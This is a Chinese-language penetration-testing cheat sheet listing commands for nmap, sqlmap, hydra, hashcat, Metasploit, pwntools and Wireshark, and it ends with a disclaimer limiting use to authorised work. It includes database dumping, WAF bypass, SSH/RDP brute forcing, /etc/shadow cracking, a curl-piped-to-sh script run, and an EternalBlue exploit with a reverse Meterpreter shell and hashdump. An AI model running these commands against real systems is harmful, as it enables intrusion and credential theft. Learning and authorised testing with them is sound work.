信息收集

Nmap - 网络扫描

端口扫描和服务识别的首选工具。

1
2
3
4
5
6
7
8
9
10
11
# 快速扫描常用端口
nmap -sV -sC -O target.com

# 全端口扫描
nmap -p- -T4 target.com

# UDP 扫描
nmap -sU --top-ports 100 target.com

# 漏洞脚本扫描
nmap --script vuln target.com

Subfinder - 子域名发现

1
2
3
4
5
6
7
8
# 基础子域名枚举
subfinder -d target.com -o subs.txt

# 递归枚举
subfinder -d target.com -recursive

# 配合 httpx 探活
subfinder -d target.com -silent | httpx -title -status-code -tech-detect

dirsearch - 目录扫描

1
2
3
4
5
6
7
8
# 基础目录扫描
dirsearch -u https://target.com -e php,asp,jsp,html

# 使用自定义字典
dirsearch -u https://target.com -w /path/to/wordlist.txt

# 递归扫描
dirsearch -u https://target.com -r -R 3

httpx - Web 探测

1
2
3
4
5
6
7
8
# 批量探活
cat urls.txt | httpx -status-code -title -tech-detect

# 截图
cat urls.txt | httpx -screenshot

# 提取特定信息
cat urls.txt | httpx -json -o result.json

漏洞扫描

Nuclei - 模板化漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
# 扫描单个目标
nuclei -u https://target.com

# 使用特定模板
nuclei -u https://target.com -t cves/

# 按严重性过滤
nuclei -u https://target.com -severity critical,high

# 批量扫描
cat urls.txt | nuclei -t /path/to/templates/

SQLMap - SQL 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# GET 参数注入
sqlmap -u "http://target.com/page?id=1" --dbs

# POST 注入
sqlmap -u "http://target.com/login" --data="user=admin&pass=123" --dbs

# Cookie 注入
sqlmap -u "http://target.com/page" --cookie="id=1*" --dbs

# 指定数据库和表进行脱库
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump

# 使用 tamper 绕过 WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between

XSStrike - XSS 检测

1
2
3
4
5
6
7
8
# 基础扫描
xsstrike -u "http://target.com/search?q=test"

# 爬虫模式
xsstrike -u "http://target.com" --crawl

# 模糊测试
xsstrike -u "http://target.com/search?q=test" --fuzzer

Web 渗透

Burp Suite - 抓包与测试

渗透测试必备的综合平台,主要模块:

模块 用途
Proxy 拦截和修改 HTTP 请求
Repeater 手动重放和修改请求
Intruder 自动化暴力破解和模糊测试
Scanner 自动漏洞扫描(Pro)
Decoder 编码/解码工具
Comparer 数据对比

ffuf - Web 模糊测试

1
2
3
4
5
6
7
8
9
10
11
# 目录爆破
ffuf -u https://target.com/FUZZ -w wordlist.txt

# 参数爆破
ffuf -u "https://target.com/page?FUZZ=value" -w params.txt

# VHOST 发现
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subs.txt -fc 404

# POST 数据模糊测试
ffuf -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -fc 401

Gobuster - 目录与子域名爆破

1
2
3
4
5
6
7
8
# 目录扫描
gobuster dir -u https://target.com -w wordlist.txt -x php,html

# 子域名枚举
gobuster dns -d target.com -w subdomains.txt

# VHOST 扫描
gobuster vhost -u https://target.com -w wordlist.txt

密码与认证

Hydra - 在线暴力破解

1
2
3
4
5
6
7
8
9
10
11
# SSH 爆破
hydra -l root -P passwords.txt ssh://target.com

# HTTP POST 表单
hydra -l admin -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Login Failed"

# FTP 爆破
hydra -L users.txt -P passwords.txt ftp://target.com

# RDP 爆破
hydra -l administrator -P passwords.txt rdp://target.com

Hashcat - 离线密码破解

1
2
3
4
5
6
7
8
9
10
11
# MD5 破解
hashcat -m 0 hash.txt wordlist.txt

# NTLM 破解
hashcat -m 1000 hash.txt wordlist.txt

# 规则模式
hashcat -m 0 hash.txt wordlist.txt -r rules/best64.rule

# 掩码攻击(8位数字)
hashcat -m 0 hash.txt ?d?d?d?d?d?d?d?d

John the Ripper - 密码破解

1
2
3
4
5
6
7
8
9
# 自动检测哈希类型
john hash.txt

# 指定字典
john --wordlist=rockyou.txt hash.txt

# 破解 /etc/shadow
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt

后渗透与提权

LinPEAS / WinPEAS - 提权信息收集

1
2
3
4
5
# Linux 提权枚举
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Windows 提权枚举
.\winPEASx64.exe

Metasploit - 渗透测试框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 启动
msfconsole

# 搜索模块
search type:exploit platform:windows smb

# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST your_ip
exploit

# Meterpreter 常用命令
meterpreter > sysinfo
meterpreter > hashdump
meterpreter > upload /path/to/file
meterpreter > shell

CobaltStrike - C2 框架

团队协作渗透的商业化 C2 平台,主要功能:

  • Beacon 通信(HTTP/HTTPS/DNS/SMB)
  • 横向移动(PsExec / WMI / WinRM)
  • 凭据抓取(Mimikatz 集成)
  • 权限维持(服务/计划任务/注册表)

逆向与 Pwn

GDB + pwndbg

1
2
3
4
5
6
7
8
9
10
# 安装 pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# 常用命令
gdb ./binary
pwndbg> checksec
pwndbg> disassemble main
pwndbg> cyclic 200
pwndbg> vmmap

pwntools - Pwn 开发框架

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# 连接目标
p = remote('target.com', 9999)
# p = process('./binary')

# 构造 payload
payload = b'A' * 64
payload += p64(0xdeadbeef)

p.sendline(payload)
p.interactive()

IDA Pro / Ghidra - 逆向分析

工具 特点
IDA Pro 行业标准,反编译质量高,收费
Ghidra NSA 开源,免费,Java 编写
Binary Ninja 现代 UI,API 友好
Radare2 命令行,开源免费

流量分析

Wireshark - 抓包分析

常用过滤表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# HTTP 请求
http.request.method == "POST"

# 指定 IP
ip.addr == 192.168.1.100

# DNS 查询
dns.qry.name contains "target"

# TCP 三次握手
tcp.flags.syn == 1 && tcp.flags.ack == 0

# 包含关键字
frame contains "password"

tcpdump - 命令行抓包

1
2
3
4
5
6
7
8
# 抓取指定端口
tcpdump -i eth0 port 80 -w capture.pcap

# 抓取指定主机
tcpdump -i eth0 host 192.168.1.100

# 抓取并实时显示
tcpdump -i eth0 -A port 80 | grep -i "password"

工具速查表

场景 推荐工具
端口扫描 Nmap
子域名收集 Subfinder, Amass
目录扫描 dirsearch, ffuf, Gobuster
SQL 注入 SQLMap
XSS 检测 XSStrike, Dalfox
抓包改包 Burp Suite
漏洞扫描 Nuclei
密码爆破 Hydra, Hashcat
提权辅助 LinPEAS, WinPEAS
渗透框架 Metasploit
流量分析 Wireshark, tcpdump
逆向分析 IDA Pro, Ghidra
Pwn 开发 pwntools, GDB

声明: 以上工具仅用于合法的安全测试和学习研究,请在授权范围内使用。